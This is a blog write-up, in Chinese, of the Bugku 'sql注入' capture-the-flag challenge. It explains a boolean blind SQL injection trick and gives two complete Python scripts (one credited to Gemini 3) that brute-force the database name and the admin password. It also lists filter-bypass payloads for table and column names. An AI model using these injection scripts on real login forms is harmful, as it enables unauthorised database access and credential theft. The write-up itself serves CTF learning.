bugku-sql注入 wp

参考wp:https://www.yuque.com/u21437924/ap9vtm/gqkc3dcfmfpe5p85?singleDoc#RI7de

https://blog.csdn.net/cai_huaer/article/details/151112526?spm=1001.2014.3001.5502

这2个写的都很好,很惭愧,每次遇到难题都没想过自己去琢磨,而是在常规手段出不来后就去看wp

爆破数据库名

根据csdn那个wp,他的布尔盲住思路很新奇,非常值得学习

1
username=aaa'-(ascii(substr(database()from(1)))-98)-'&password=admin

大意就是sql会把字符隐式转换为数字然后去做加减username=a'-0-',在数据库中就是select username from xxx where username='a'-0-'',’a’会变为0-0=0,后面的’’也看为0,得到的结果为0,会匹配任何以数字0开头的用户名,如果中间换成1,结果就是-1,匹配不到数据。然后根据这一点来写脚本爆破。因为这个题目过滤了很多字符,所以脚本要稍微注意一点。

该脚本产自Gemini3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import string

# 配置目标 URL
url = "http://171.80.2.169:11490/index.php"

# 题目要求的 HTTP 头
headers = {
"Host": "171.80.2.169:11490",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"Origin": "http://171.80.2.169:11490",
"Referer": "http://171.80.2.169:11490/"
}

# 字典
chars = string.ascii_lowercase + string.digits + "_-@."

print("[-] 开始爆破数据库名 (长度: 8)...")
print("[-] 绕过策略: 无空格(用括号),无逗号(用FROM),无FOR(利用ASCII特性)")

db_name = ""

for i in range(1, 9):
found_char = False
for char in chars:
char_ascii = ord(char)

# 核心 Payload:
# 1. 用 FROM(i) 代替 FROM i (绕过空格)
# 2. 去掉 FOR 1 (利用 ASCII 只取首字符特性,绕过 FOR)
# 3. 整体无空格,无逗号

# 构造 SQL 片段: ascii(substr(database()from(i)))-char_ascii
injection = f"ascii(substr(database()from({i})))-{char_ascii}"

# 拼凑 POST body
data_payload = f"username=aaa'-({injection})-'&password=admin"

try:
# data 参数传字符串,避免 requests 自动处理造成干扰
res = requests.post(url, headers=headers, data=data_payload, timeout=5)

# 这里的判断逻辑是:
# 如果猜对了 -> injection 结果为 0 -> username=aaa'-0-' -> 真 -> passwd error
# 如果猜错了 -> injection 结果为 非0 -> username=aaa'-非0-' -> 假 -> username dont exist
if "password error" in res.text:
db_name += char
print(f"[+] Found char {i}: {char} -> Current DB: {db_name}")
found_char = True
break

except Exception as e:
print(f"[!] Error: {e}")

if not found_char:
print(f"[!] 第 {i} 位字符未找到,可能使用了特殊字符或 Payload 被拦截。")
db_name += "?"

print(f"\n[success] 最终数据库名: {db_name}")

然后爆破表和列名都只能用字典去爆破了:

语句是这样的:

1
2
3
4
#爆破表名
username=aaa'or(select(1)from(blindsql.flag))#&password=admin
#爆破列名
username=aaa'or(select(password)from(admin))#&password=admin

爆破数据

一开始直接让ai写脚本,但是死活出问题,后面给他参考了别人的才写出来。原理还是username=a'or真返回password error,若or后面的条件为false,就返回dont exist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import requests
import string
import sys

# --- 配置区域 ---
# 使用你之前题目给出的 URL
url = "http://171.80.2.169:15666/index.php"
headers = {
"Host" : "171.80.2.169:15666" ,
"Content-Type" : "application/x-www-form-urlencoded" ,
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" ,
}

# 目标
table_name = "admin"
column_name = "password"

print( f"[-] 开始利用线性扫描 (Linear Scan) 读取 {table_name}.{column_name} ..." )
print( "[-] 逻辑: ddd' OR (ascii > j) #" )
print( "[-] 遇到 'username dont exist' 说明条件停止成立,锁定字符。" )

final_data = ""

# 假设密码长度 1 到 40
for i in range( 1 , 41 ) :
found_char = False

# 遍历可见字符 ASCII 码 (32 - 127)
# 类似于别人的 range(32, 128)
for j in range( 32 , 128 ) :

# 构造你的 Payload
# ddd'or(ASCII(MID((SELECT(password)FROM(admin))FROM({i}))))>{j}#

# 注意:这里 %23 是 # 的 URL编码。request data 字典有时会自动编码,有时不会,
# 为了稳妥,我们直接在字符串里写 #,因为 requests 会帮我们转义 body
payload_str = f"ddd'or(ascii(mid((select({column_name})from({table_name}))from({i})))>{j})#"

data_payload = {
"username" : payload_str ,
"password" : "admin"
}

try :
# 发送请求
res = requests.post( url , headers=headers , data=data_payload , timeout=3 )

# --- 核心判断逻辑 (和别人的脚本一致) ---

# 情况 1: 猜对了吗?(Payload > j 为真)
# 如果 ddd' OR True -> 登录成功 -> passwd error
# 这意味着当前字符 ASCII 码比 j 大,还需要继续往后找
if "password error" in res.text :
continue # 继续内层循环,j 加 1

# 情况 2: 猜过头了吗?(Payload > j 为假)
# 如果 ddd' OR False -> 用户不存在 -> username dont exist
# 这意味着当前字符 ASCII 码 不大于 j (即等于 j),因为刚才 j-1 的时候还是 True
elif "username does not exist!" in res.text :
char = chr( j )
final_data += char
print( f"[+] 第 {i} 位: {char} (ascii: {j}) | 当前: {final_data}" )
found_char = True
break # 找到了,跳出内层 j 循环,去读下一位 i

# 其他情况(如报错)
else :
pass

except Exception as e :
print( f"[!] Error: {e}" )
break

# 如果遍历完 32-127 还没找到,说明这一位可能没有字符了(结束了)
if not found_char :
print( "\n[*] 扫描结束。" )
break

print( f"\n[Success] 最终密码: {final_data}" )

bugku-sql注入 wp
https://rightevil.github.io/bugku-sql注入-wp/
作者
rightevil
发布于
2026年1月28日
许可协议